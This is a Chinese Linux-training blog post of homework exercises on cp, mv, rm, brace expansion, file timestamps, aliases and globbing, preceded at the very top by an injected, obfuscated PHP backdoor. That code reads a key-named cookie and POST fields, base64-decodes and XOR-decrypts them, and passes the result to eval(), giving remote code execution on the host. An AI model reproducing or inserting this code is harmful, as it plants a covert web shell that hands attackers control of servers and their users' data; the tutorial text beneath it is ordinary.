$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 马哥教育网络21期+第二周练习博客 | Linux运维部落

马哥教育网络21期+第二周练习博客

一、Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示。

1、Linux上文件管理类命令主要有:cp, mv, rm

2、命令使用方法:

复制命令:cp

    cp [OPTION]... [-T] SOURCE DEST 
    cp [OPTION]... SOURCE... DIRECTORY 
    cp [OPTION]... -t DIRECTORY SOURCE... 

    cp SRC DEST
        SRC是单个文件:
            如果目标不存在:新建DEST,并将SRC中内容填充至DEST中;
            如果目标存在:
                如果DEST是文件:将SRC中的内容覆盖至DEST中;
                    此时建议为cp命令使用-i选项;交互式提醒(root用户的cp命令是cp -i的别名,普通用户不是)
                如果DEST是目录:在DEST下新建与原文件同名的文件,并将SRC中内容填充至新文件中;

    cp SRC... DEST
        SRC...:多个文件
            DEST必须存在,且为目录,其它情形均会出错;

    cp SRC DEST
        SRC是目录:
            此时必须使用选项:-r 递归,否则会忽略

            如果DEST不存在:则创建指定目录,复制SRC目录中所有文件至DEST中;
            如果DEST存在:
                如果DEST是文件:报错
                如果DEST是目录:src目录及文件复制到dest目录下

    常用选项:
        -i:交互式
        -r, -R: 递归复制目录及内部的所有内容;

        -a: 归档,相当于-dR --preserv=all,复制时文件保留原来的状态

            -d:等效于--no-dereference --preserv=links
            --no-dereference
                复制符号链接本身,不复制符号链接指向的内容
            --preserv[=ATTR_LIST]   保留文件指定属性
                mode: 权限
                ownership: 属主属组
                timestamp: 时间戳
                links:原来是符号链接任然保持
                xattr:扩展属性
                context:安全上下文
                all
        -p/--preserv: 等效于--preserv=mode,ownership,timestamp
        -v: --verbose
        -f: --force

移动重命名文件:mv

    mv [OPTION]... [-T] SOURCE DEST
    mv [OPTION]... SOURCE... DIRECTORY
    mv [OPTION]... -t DIRECTORY SOURCE...

    源和目标在同一位置,等同于重命名
        mv /tmp/123 /tmp/abc
    常用选项:
        -i: 交互式
        -f: 强制

删除文件:rm

    rm [OPTION]... FILE...

    常用选项:
        -i: 交互式,管理员rm是rm -i的别名
        -f: 强制删除
        -r: 递归,删除目录时必须加

    rm -rf 
        centos6以后默认禁止删除根/;注意rm -rf /*并没有被禁止;
        确认删除根/ 使用--no-preserv-root

3、 相关命令用法演示:

cp用法

  • 源文件是单个文件,目标不存在:

    [root@magedu ~]# cp /etc/passwd /tmp/victor
    [root@magedu ~]# ll /tmp/victor 
    -rw-r--r--. 1 root root 854 7月  16 19:25 /tmp/victor
    [root@magedu ~]# cat /tmp/victor 
    root:x:0:0:root:/root:/bin/bash
    ...
    sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
  • 目标存在,且是文件:

    [root@magedu ~]# touch /tmp/victor
    [root@magedu ~]# cat /etc/shadow >/tmp/victor 
    [root@magedu ~]# cat /tmp/victor 
    root:$6$ZnIUo.szHf7mreEk$RGLp/A/uHdh..5.kRnZKFulC8KW6PoZTtyGMFxf5Duey/Sfc49vr0AMFlvzh/72JuDxrFzVBk1utGDg4zFbTk1:16998:0:99999:7:::
    ...
    sshd:!!:16998::::::
    [root@magedu ~]# cp /etc/passwd /tmp/victor 
    cp:是否覆盖"/tmp/victor"? y
    [root@magedu ~]# cat /tmp/victor 
    root:x:0:0:root:/root:/bin/bash
    ...
    sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
  • 目标存在,且是目录:

    [root@magedu ~]# mkdir /tmp/victor
    mkdir: 无法创建目录"/tmp/victor": 文件已存在
    [root@magedu ~]# rm -rf /tmp/victor 
    [root@magedu ~]# mkdir /tmp/victor
    [root@magedu ~]# cp /etc/passwd /tmp/victor
    [root@magedu ~]# ll /tmp/
    总用量 4
    drwxr-xr-x. 2 root root 4096 7月  16 19:34 victor
    -rw-------. 1 root root    0 7月  16 18:41 yum.log
    [root@magedu ~]# ll /tmp/victor/
    总用量 4
    -rw-r--r--. 1 root root 854 7月  16 19:34 passwd
  • 源文件为多个文件:

    [root@magedu ~]# ll
    总用量 16
    -rw-------. 1 root root 1093 7月  16 18:44 anaconda-ks.cfg
    -rw-r--r--. 1 root root 8015 7月  16 18:44 install.log
    -rw-r--r--. 1 root root 3384 7月  16 18:43 install.log.syslog
    [root@magedu ~]# rm -rf /tmp/victor
    [root@magedu ~]# cp ~/
    anaconda-ks.cfg     .bash_logout        .bashrc             install.log         .tcshrc             
    .bash_history       .bash_profile       .cshrc              install.log.syslog  
    [root@magedu ~]# cp ~/* /tmp/victor
    cp: 目标"/tmp/victor" 不是目录
    [root@magedu ~]# mkdir /tmp/victor
    [root@magedu ~]# cp ~/* /tmp/victor
    [root@magedu ~]# ll /tmp/victor/
    总用量 16
    -rw-------. 1 root root 1093 7月  16 19:38 anaconda-ks.cfg
    -rw-r--r--. 1 root root 8015 7月  16 19:38 install.log
    -rw-r--r--. 1 root root 3384 7月  16 19:38 install.log.syslog
  • 源是目录:

    [root@magedu ~]# rm -rf /tmp/victor/
    [root@magedu ~]# ll /tmp/
    总用量 0
    -rw-------. 1 root root 0 7月  16 18:41 yum.log
    [root@magedu ~]# cp /etc /tmp/victor
    cp: 略过目录"/etc"
    [root@magedu ~]# cp /etc /tmp/victor -r
    [root@magedu ~]# ll /tmp/victor/
    总用量 1172
    -rw-r--r--.  1 root root     46 7月  16 19:40 adjtime
    ...
    drwxr-xr-x.  2 root root   4096 7月  16 19:40 yum.repos.d
    [root@magedu ~]# rm -rf /tmp/victor/
    [root@magedu ~]# touch /tmp/victor
    [root@magedu ~]# cp /etc /tmp/victor -r
    cp: 无法以目录"/etc" 来覆盖非目录"/tmp/victor"
    [root@magedu ~]# rm -rf /tmp/victor 
    [root@magedu ~]# mkdir /tmp/victor
    [root@magedu ~]# cp /etc /tmp/victor -r
    [root@magedu ~]# ll /tmp/victor/
    总用量 4
    drwxr-xr-x. 63 root root 4096 7月  16 19:46 etc
  • 常用选项:

    [root@magedu ~]# ll /etc/grub.conf 
    lrwxrwxrwx. 1 root root 22 7月  16 18:44 /etc/grub.conf -> ../boot/grub/grub.conf
    [root@magedu ~]# file /etc/grub.conf 
    /etc/grub.conf: symbolic link to `../boot/grub/grub.conf'
    [root@magedu ~]# cp /etc/grub.conf /tmp/
    [root@magedu ~]# stat /tmp/grub.conf 
      File: "/tmp/grub.conf"
      Size: 1143        Blocks: 8          IO Block: 4096   普通文件
    Device: fd00h/64768d    Inode: 260709      Links: 1
    Access: (0600/-rw-------)  Uid: (    0/    root)   Gid: (    0/    root)
    Access: 2016-07-16 19:50:02.000000000 +0800
    Modify: 2016-07-16 19:53:50.412995867 +0800
    Change: 2016-07-16 19:53:50.412995867 +0800
    
    [root@magedu ~]# cp /etc/grub.conf /tmp/ -p
    cp:是否覆盖"/tmp/grub.conf"? y
    [root@magedu ~]# stat /tmp/grub.conf 
      File: "/tmp/grub.conf"
      Size: 1143        Blocks: 8          IO Block: 4096   普通文件
    Device: fd00h/64768d    Inode: 260709      Links: 1
    Access: (0600/-rw-------)  Uid: (    0/    root)   Gid: (    0/    root)
    Access: 2016-07-16 19:50:02.000000000 +0800
    Modify: 2016-07-16 19:18:11.000000000 +0800
    Change: 2016-07-16 19:54:39.988995812 +0800
    
    [root@magedu ~]# cp /etc/grub.conf /tmp/ -a
    cp:是否覆盖"/tmp/grub.conf"? y
    [root@magedu ~]# stat /tmp/grub.conf 
      File: "/tmp/grub.conf" -> "../boot/grub/grub.conf"
      Size: 22          Blocks: 0          IO Block: 4096   符号链接
    Device: fd00h/64768d    Inode: 260709      Links: 1
    Access: (0777/lrwxrwxrwx)  Uid: (    0/    root)   Gid: (    0/    root)
    Access: 2016-07-16 19:15:24.195000001 +0800
    Modify: 2016-07-16 18:44:55.721999963 +0800
    Change: 2016-07-16 19:55:36.551009118 +0800
    
    [root@magedu ~]# cp /etc/grub.conf /tmp/grub.conf 
    [root@magedu ~]# ll /tmp/grub.conf 
    -rw-------. 1 root root 1145 7月  16 20:01 /tmp/grub.conf
    [root@magedu ~]# cp --no-dereference /etc/grub.conf /tmp/grub.conf -f
    cp:是否覆盖"/tmp/grub.conf"? y
    [root@magedu ~]# ll /tmp/grub.conf 
    lrwxrwxrwx. 1 root root 22 7月  16 20:01 /tmp/grub.conf -> ../boot/grub/grub.conf

mv用法

    [root@magedu ~]# touch /tmp/victor
    [root@magedu ~]# mv /tmp/victor /tmp/lifuqiang
    [root@magedu ~]# ll /tmp/
    总用量 0
    -rw-r--r--. 1 root root 0 7月  16 20:05 lifuqiang
    -rw-------. 1 root root 0 7月  16 18:41 yum.log
    [root@magedu ~]# mkdir /tmp/victor 
    [root@magedu ~]# mv /tmp/victor /tmp/mrmiao
    [root@magedu ~]# ll /tmp/
    总用量 4
    -rw-r--r--. 1 root root    0 7月  16 20:05 lifuqiang
    drwxr-xr-x. 2 root root 4096 7月  16 20:06 mrmiao
    -rw-------. 1 root root    0 7月  16 18:41 yum.log

    [root@magedu ~]# mv ~/install.log.syslog /tmp/install.log -i
    mv:是否覆盖"/tmp/install.log"? n
    [root@magedu ~]# ll /tmp/
    总用量 12
    -rw-r--r--. 1 root root 8015 7月  16 18:44 install.log
    -rw-r--r--. 1 root root    0 7月  16 20:05 lifuqiang
    drwxr-xr-x. 2 root root 4096 7月  16 20:06 mrmiao
    -rw-------. 1 root root    0 7月  16 18:41 yum.log
    [root@magedu ~]# mv ~/install.log.syslog /tmp/install.log -f
    [root@magedu ~]# ll /tmp/
    总用量 8
    -rw-r--r--. 1 root root 3384 7月  16 18:43 install.log
    -rw-r--r--. 1 root root    0 7月  16 20:05 lifuqiang
    drwxr-xr-x. 2 root root 4096 7月  16 20:06 mrmiao
    -rw-------. 1 root root    0 7月  16 18:41 yum.log

rm用法

    [root@magedu ~]# rm /tmp/lifuqiang -i
    rm:是否删除普通空文件 "/tmp/lifuqiang"?y
    [root@magedu ~]# touch /tmp/mrmiao/{svfds,dsfad}
    [root@magedu ~]# mkdir /tmp/mrmiao/fvd
    [root@magedu ~]# tree /tmp/
    /tmp/
    ├── install.log
    ├── mrmiao
    │   ├── dsfad
    │   ├── fvd
    │   └── svfds
    └── yum.log
    [root@magedu ~]# rm /tmp/mrmiao
    rm: 无法删除"/tmp/mrmiao": 是一个目录
    [root@magedu ~]# rm /tmp/mrmiao -f
    rm: 无法删除"/tmp/mrmiao": 是一个目录
    [root@magedu ~]# rm /tmp/mrmiao -r
    rm:是否进入目录"/tmp/mrmiao"? n    
    [root@magedu ~]# rm /tmp/mrmiao -rf
    [root@magedu ~]# tree /tmp/
    /tmp/
    ├── install.log
    └── yum.log

二、bash的工作特性之命令执行状态返回值和命令行展开所涉及的内容及其示例演示。

1、命令执行成功返回码为:0,命令执行出错返回码为1-255;返回码记录在$?中。

    [root@magedu ~]# pwd
    /root
    [root@magedu ~]# echo $?
    0
    [root@magedu ~]# pw
    -bash: pw: command not found
    [root@magedu ~]# echo $?
    127

2、命令行展开包含 ~ 和 {}

~: 展开为用户的主目录
~USERNAME:展开为指定用户的主目录
{}:可承载一个以逗号分隔的列表,并将其展开为多个路径
/tmp/{a,b} = /tmp/a, /tmp/b
/tmp/{tom,jerry}/hi = /tmp/tom/hi, /tmp/jerry/hi

    [root@magedu tmp]# pwd
    /tmp
    [root@magedu tmp]# cd ~
    [root@magedu ~]# pwd
    /root
    [root@magedu ~]# cd ~victor
    [root@magedu victor]# pwd
    /home/victor

    [root@magedu victor]# touch /tmp/{a,b,c}
    [root@magedu victor]# ll /tmp/
    总用量 4
    -rw-r--r--. 1 root root    0 7月  16 20:45 a
    -rw-r--r--. 1 root root    0 7月  16 20:45 b
    -rw-r--r--. 1 root root    0 7月  16 20:45 c
    -rw-r--r--. 1 root root 3384 7月  16 18:43 install.log
    -rw-------. 1 root root    0 7月  16 18:41 yum.log

    [root@magedu victor]# mkdir /tmp/{1,2,3}/{vicror,miao} -p
    [root@magedu victor]# tree /tmp/
    /tmp/
    ├── 1
    │   ├── miao
    │   └── vicror
    ├── 2
    │   ├── miao
    │   └── vicror
    ├── 3
    │   ├── miao
    │   └── vicror
    ├── a
    ├── b
    ├── c
    ├── install.log
    └── yum.log

    9 directories, 5 files

三、请使用命令行展开功能来完成以下练习:

 (1)、创建/tmp目录下的:a_c, a_d, b_c, b_d
 (2)、创建/tmp/mylinux目录下的:
    mylinux/
    ├── bin
    ├── boot
    │   └── grub
    ├── dev
    ├── etc
    │   ├── rc.d
    │   │   └── init.d
    │   └── sysconfig
    │       └── network-scripts
    ├── lib
    │   └── modules
    ├── lib64
    ├── proc
    ├── sbin
    ├── sys
    ├── tmp
    ├── usr
    │   └── local
    │       ├── bin
    │       └── sbin
    └── var
        ├── lock
        ├── log
        └── run

1、创建/tmp目录下的:a_c, a_d, b_c, b_d
    [root@magedu victor]# mkdir /tmp/{a,b}_{c,d}
    [root@magedu victor]# ll /tmp/
    总用量 16
    drwxr-xr-x. 2 root root 4096 7月  16 20:52 a_c
    drwxr-xr-x. 2 root root 4096 7月  16 20:52 a_d
    drwxr-xr-x. 2 root root 4096 7月  16 20:52 b_c
    drwxr-xr-x. 2 root root 4096 7月  16 20:52 b_d
2、创建要求的目录
    [root@magedu victor]# mkdir /tmp/mylinux/{bin,boot/grub,dev,etc/{rc.d/init.d,sysconfig/network-scripts},lib/modules,lib64,proc,sbin,sys,tmp,usr/local/{bin,sbin},var/{lock,log,run}} -p
    [root@magedu victor]# tree /tmp/mylinux/
    /tmp/mylinux/
    ├── bin
    ├── boot
    │   └── grub
    ├── dev
    ├── etc
    │   ├── rc.d
    │   │   └── init.d
    │   └── sysconfig
    │       └── network-scripts
    ├── lib
    │   └── modules
    ├── lib64
    ├── proc
    ├── sbin
    ├── sys
    ├── tmp
    ├── usr
    │   └── local
    │       ├── bin
    │       └── sbin
    └── var
        ├── lock
        ├── log
        └── run

    24 directories, 0 files

四、文件的元数据信息有哪些,分别表示什么含义,如何查看?如何修改文件的时间戳信息。

1、文件的元数据信息是用来描述一个文件的特征的系统数据,可以用stat命令来进行查看。 包括:

  • 文件大小size

  • 文件占用块个数Blocks

  • 块大小IO Block

  • inode数

  • 链接文件数目links,

  • 文件权限,

  • 属主/UID,属组/GID

  • 三个时间戳

    [root@magedu tmp]# stat passwd 
      File: "passwd"
      Size: 895         Blocks: 8          IO Block: 4096   普通文件
    Device: fd00h/64768d    Inode: 260742      Links: 1
    Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
    Access: 2016-07-16 21:12:16.134000003 +0800
    Modify: 2016-07-16 21:12:16.134000003 +0800
    Change: 2016-07-16 21:12:16.134000003 +0800

其中,三个时间戳为atime,ctime,mtime:

access time:访问时间,简写为atime,读取文件内容会改变
modify time: 修改时间, 简写为mtime,改变文件内容(数据),注意仅修改文件内容atime不会改变
change time: 改变时间, 简写为ctime,元数据发生改变会改变

演示:仅修改文件内容,mtime,ctime改变,atime不变

[root@magedu tmp]# stat passwd 
  File: "passwd"
  Size: 895         Blocks: 8          IO Block: 4096   普通文件
Device: fd00h/64768d    Inode: 260742      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2016-07-16 21:12:16.134000003 +0800
Modify: 2016-07-16 21:12:16.134000003 +0800
Change: 2016-07-16 21:12:16.134000003 +0800
[root@magedu tmp]# echo a >> /tmp/passwd 
[root@magedu tmp]# stat passwd 
  File: "passwd"
  Size: 897         Blocks: 8          IO Block: 4096   普通文件
Device: fd00h/64768d    Inode: 260742      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2016-07-16 21:12:16.134000003 +0800
Modify: 2016-07-16 21:16:47.219007837 +0800
Change: 2016-07-16 21:16:47.219007837 +0800

演示:读取文件内容,atime改变,ctime,mtime不变

[root@magedu tmp]# cat /tmp/passwd 
[root@magedu tmp]# stat passwd 
  File: "passwd"
  Size: 897         Blocks: 8          IO Block: 4096   普通文件
Device: fd00h/64768d    Inode: 260742      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2016-07-16 21:19:10.893982595 +0800
Modify: 2016-07-16 21:16:47.219007837 +0800
Change: 2016-07-16 21:16:47.219007837 +0800

演示:改变文件元数据之属主和属组,ctime改变,atime,mtime不变

[root@magedu tmp]# chown victor.victor /tmp/passwd 
[root@magedu tmp]# stat passwd 
  File: "passwd"
  Size: 897         Blocks: 8          IO Block: 4096   普通文件
Device: fd00h/64768d    Inode: 260742      Links: 1
Access: (0644/-rw-r--r--)  Uid: (  500/  victor)   Gid: (  500/  victor)
Access: 2016-07-16 21:19:10.893982595 +0800
Modify: 2016-07-16 21:16:47.219007837 +0800
Change: 2016-07-16 21:21:30.591000664 +0800

2、如何修改时间戳?

修改时间戳可以通过命令touch实现,其中:

touch [OPTION]... FILE...
            -a: only atime 仅修改atime
            -m: only mtime  仅修改mtime
            -t STAMP:  将atime,ctime同时修改为设置为STAMP
                STAMP时间格式如下:
                 [[CC]YY]MMDDhhmm[.ss]
            -c: 如果文件不存在,则不予创建

演示:

[root@magedu tmp]# touch -t 201607071950.33 passwd 
[root@magedu tmp]# stat passwd 
  File: "passwd"
  Size: 897         Blocks: 8          IO Block: 4096   普通文件
Device: fd00h/64768d    Inode: 260742      Links: 1
Access: (0644/-rw-r--r--)  Uid: (  500/  victor)   Gid: (  500/  victor)
Access: 2016-07-07 19:50:33.000000000 +0800
Modify: 2016-07-07 19:50:33.000000000 +0800
Change: 2016-07-16 21:32:04.743010698 +0800
[root@magedu tmp]# touch -a passwd 
[root@magedu tmp]# stat passwd 
  File: "passwd"
  Size: 897         Blocks: 8          IO Block: 4096   普通文件
Device: fd00h/64768d    Inode: 260742      Links: 1
Access: (0644/-rw-r--r--)  Uid: (  500/  victor)   Gid: (  500/  victor)
Access: 2016-07-16 21:35:49.248014062 +0800
Modify: 2016-07-07 19:50:33.000000000 +0800
Change: 2016-07-16 21:35:49.248014062 +0800
[root@magedu tmp]# touch -m passwd 
[root@magedu tmp]# stat passwd 
  File: "passwd"
  Size: 897         Blocks: 8          IO Block: 4096   普通文件
Device: fd00h/64768d    Inode: 260742      Links: 1
Access: (0644/-rw-r--r--)  Uid: (  500/  victor)   Gid: (  500/  victor)
Access: 2016-07-16 21:35:49.248014062 +0800
Modify: 2016-07-16 21:36:45.767990002 +0800
Change: 2016-07-16 21:36:45.767990002 +0800

五、如何定义一个命令的别名,如何在命令中引用另一个命令的执行结果?

1、命令的别名通过alias实现定义,反引号“可以实现在命令中引用另一个命令的执行结果。

2、演示alias用法:

查看当前环境下的命令别名:
[root@magedu ~]# alias
alias cp='cp -i'
alias l.='ls -d .* --color=auto'
alias ll='ls -l --color=auto'
alias ls='ls --color=auto'
alias mv='mv -i'
alias rm='rm -i'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'

取消别名unalias
[root@magedu ~]# unalias cp
[root@magedu ~]# alias
alias l.='ls -d .* --color=auto'
alias ll='ls -l --color=auto'
alias ls='ls --color=auto'
alias mv='mv -i'
alias rm='rm -i'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'

定义别名:
[root@magedu ~]# alias cdnet='cd /etc/sysconfig/network-scripts/'
[root@magedu ~]# cdnet
[root@magedu network-scripts]# pwd
/etc/sysconfig/network-scripts

3、演示反引号引用其他命令结果:

[root@magedu ~]# ls
anaconda-ks.cfg
[root@magedu ~]# cat `ls`
# Kickstart file automatically generated by anaconda.

#version=DEVEL
install
cdrom
...
@core
%end

六、显示/var目录下所有以l开头,以一个小写字母结尾,且中间至少出现一位数字(可以有其它字符)的文件或目录。

[root@magedu ~]# ll -d /var/l*[0-9]*[[:lower:]]
-rw-r--r--. 1 root root    0 7月  16 23:03 /var/l9c
drwxr-xr-x. 2 root root 4096 7月  16 23:04 /var/lds55d

[root@magedu ~]# ll -d /var/l*[[:digit:]]*[[:lower:]]
-rw-r--r--. 1 root root    0 7月  16 23:03 /var/l9c
drwxr-xr-x. 2 root root 4096 7月  16 23:04 /var/lds55d

七、显示/etc目录下,以任意一个数字开头,且以非数字结尾的文件或目录。

[root@magedu ~]# touch /etc/9li
[root@magedu ~]# mkdir /etc/2jfg-
[root@magedu ~]# ll -d /etc/[[:digit:]]*[^[:digit:]]
drwxr-xr-x. 2 root root 4096 7月  16 23:15 /etc/2jfg-
-rw-r--r--. 1 root root    0 7月  16 23:15 /etc/9li

八、显示/etc目录下,以非字母开头,后面跟了一个字母以及其它任意长度任意字符的文件或目录。

[root@magedu ~]# mkdir /etc/3A546grfeg
[root@magedu ~]# ll -d /etc/[^[:alpha:]][[:alpha:]]*
drwxr-xr-x. 2 root root 4096 7月  16 23:21 /etc/3A546grfeg

九、在/tmp目录下创建以tfile开头,后跟当前日期和时间的文件,文件名形如:tfile-2016-05-27-09-32-22。

[root@magedu ~]# touch /tmp/tfile-`date +%F-%H-%M-%S`
[root@magedu ~]# ll /tmp/
总用量 8
drwxr-xr-x. 14 root   root   4096 7月  16 21:00 mylinux
-rw-r--r--.  1 victor victor  897 7月  16 21:36 passwd
-rw-r--r--.  1 root   root      0 7月  16 23:26 tfile-2016-07-16-23-26-35

十、复制/etc目录下所有以p开头,以非数字结尾的文件或目录到/tmp/mytest1目录中。

[root@magedu ~]# mkdir /tmp/mytest1
[root@magedu ~]# cp -a /etc/p*[^0-9] /tmp/mytest1
[root@magedu ~]# ll /tmp/mytest1/
总用量 60
drwxr-xr-x. 2 root root 4096 7月  16 19:16 pam.d
-rw-r--r--. 1 root root  895 7月  16 20:43 passwd
-rw-r--r--. 1 root root  854 7月  16 18:44 passwd-
drwxr-xr-x. 9 root root 4096 7月  16 18:42 pki
drwxr-xr-x. 2 root root 4096 7月  16 18:42 plymouth
drwxr-xr-x. 5 root root 4096 7月  16 18:41 pm
drwxr-xr-x. 2 root root 4096 8月  21 2010 popt.d
drwxr-xr-x. 2 root root 4096 7月  16 19:15 postfix
drwxr-xr-x. 3 root root 4096 7月  16 19:15 ppp
drwxr-xr-x. 2 root root 4096 7月  16 19:14 prelink.conf.d
-rw-r--r--. 1 root root  233 1月  12 2010 printcap
-rw-r--r--. 1 root root 1796 10月  2 2013 profile
drwxr-xr-x. 2 root root 4096 7月  16 19:15 profile.d
-rw-r--r--. 1 root root 6455 1月  12 2010 protocols

十一、复制/etc目录下所有以.d结尾的文件或目录至/tmp/mytest2目录中。

[root@magedu ~]# mkdir /tmp/mytest2
[root@magedu ~]# cp -a /etc/*.d /tmp/mytest2
[root@magedu ~]# ll /tmp/mytest2
总用量 84
drwxr-xr-x.  2 root root 4096 7月  16 19:15 bash_completion.d
drwxr-xr-x.  2 root root 4096 5月  11 05:18 chkconfig.d
drwxr-xr-x.  2 root root 4096 7月  16 19:16 cron.d
drwxr-xr-x.  2 root root 4096 7月  16 18:42 depmod.d
drwxr-xr-x.  2 root root 4096 5月  12 12:32 dracut.conf.d
lrwxrwxrwx.  1 root root   11 7月  16 19:14 init.d -> rc.d/init.d
drwxr-xr-x.  2 root root 4096 7月  16 19:15 ld.so.conf.d
drwxr-xr-x.  2 root root 4096 12月 15 2015 logrotate.d
drwxr-xr-x.  2 root root 4096 7月  16 18:42 makedev.d
drwxr-xr-x.  2 root root 4096 7月  16 19:14 modprobe.d
drwxr-xr-x.  2 root root 4096 7月  16 19:16 pam.d
drwxr-xr-x.  2 root root 4096 8月  21 2010 popt.d
drwxr-xr-x.  2 root root 4096 7月  16 19:14 prelink.conf.d
drwxr-xr-x.  2 root root 4096 7月  16 19:15 profile.d
lrwxrwxrwx.  1 root root   10 7月  16 19:15 rc0.d -> rc.d/rc0.d
lrwxrwxrwx.  1 root root   10 7月  16 19:15 rc1.d -> rc.d/rc1.d
lrwxrwxrwx.  1 root root   10 7月  16 19:15 rc2.d -> rc.d/rc2.d
lrwxrwxrwx.  1 root root   10 7月  16 19:15 rc3.d -> rc.d/rc3.d
lrwxrwxrwx.  1 root root   10 7月  16 19:15 rc4.d -> rc.d/rc4.d
lrwxrwxrwx.  1 root root   10 7月  16 19:15 rc5.d -> rc.d/rc5.d
lrwxrwxrwx.  1 root root   10 7月  16 19:15 rc6.d -> rc.d/rc6.d
drwxr-xr-x. 10 root root 4096 7月  16 19:15 rc.d
drwxr-xr-x.  2 root root 4096 12月 17 2014 rsyslog.d
drwxr-xr-x.  2 root root 4096 7月  13 00:40 rwtab.d
drwxr-xr-x.  2 root root 4096 7月  13 00:40 statetab.d
drwxr-x---.  2 root root 4096 5月  11 07:13 sudoers.d
drwxr-xr-x.  2 root root 4096 7月  13 00:40 sysctl.d
drwxr-xr-x.  2 root root 4096 9月  23 2011 xinetd.d
drwxr-xr-x.  2 root root 4096 7月  16 19:19 yum.repos.d

十二、复制/etc/目录下所有以l或m或n开头,以.conf结尾的文件至/tmp/mytest3目录中。

[root@magedu ~]# mkdir /tmp/mytest3
[root@magedu ~]# cp -a /etc/[l,m,n]*.conf /tmp/mytest3
[root@magedu ~]# ll /tmp/mytest3/
总用量 24
-rw-r--r--. 1 root root   28 7月  25 2013 ld.so.conf
-rw-r-----. 1 root root  191 12月 19 2015 libaudit.conf
-rw-r--r--. 1 root root 2293 7月  25 2015 libuser.conf
-rw-r--r--. 1 root root  662 8月  29 2007 logrotate.conf
-rw-r--r--. 1 root root  827 7月  24 2015 mke2fs.conf
-rw-r--r--. 1 root root 1688 5月   5 2010 nsswitch.conf

原创文章,作者:Net21_喵先森,如若转载,请注明出处:http://www.178linux.com/24359

(0)
上一篇 2016-07-17 21:49
下一篇 2016-07-17 21:50

相关推荐

  • linux 逻辑卷管理

    lvm介绍:     lvm:全称Logical Volume Manager,重点在于可以弹性调整filesystem 容量,并非在于数据安全     lvm:整合多个分区或者磁盘为一个整体,让分区看起来想一个整体。     lvm:设备…

    Linux干货 2016-09-01
  • 第一周博客作业

       本文介紹計算机的组成及其功能 、Linux各版本的联系与区别、Linux的哲学思想、Linux系统上命令的使用格式及介绍部分命令、如何在Linux系统上获取帮助信息以及Linux发行版的基础目录名称以及规定。 一、计算机的组成及其功能 1)什么是计算机? 想了解计算机的组成,首先得了解计算机的含义。计算机其实是:接收用户输入指令与数…

    Linux干货 2016-12-04
  • Linux发行版本介绍与哲学思想

    1.Linux发行版本介绍 Linux 发行版(英语:Linux distribution,也被叫做GNU/Linux 发行版),为一般用户预先集成好的Linux操作系统及各种应用软件。一般用户不需要重新编译,在直接安装之后,只需要小幅度更改设置就可以使用,通常以软件包管理系统来进行应用软件的管理。 1.服务器版本:Centos/Debian 从Red Ha…

    Linux干货 2016-10-28
  • 编译安装bind9

    一、下载bind9.9.5源码包     可以通过www.isc.org站点来获得源码包。 二、将源码包解压到任意目录     源码包通常都是.tar.gz文件,因此我们需要先将其解压: 三、编译安装bind     1、安装前的准备工作 …

    Linux干货 2015-05-05
  • 什么是Ansible?

    自动化工具——ansible   ansibleArchitecture ansibleProject 1. 什么是ansible ansible是个什么东西呢?官方的title是“Ansible is Simple IT Automation”——简单的自动化IT工具。这个工具的目标有这么几项:让我们自动化部署APP;自动化管理配置项;自动化的持…

    2017-09-24
  • 了解 linux

    计算机组成     CPU  ——> central processing unit, 运算器&控制器             主要工作管理和运算;   &…

    Linux干货 2016-09-17

评论列表(1条)

  • 马哥教育
    马哥教育 2016-07-17 22:11

    写的很好,排版也很漂亮,加油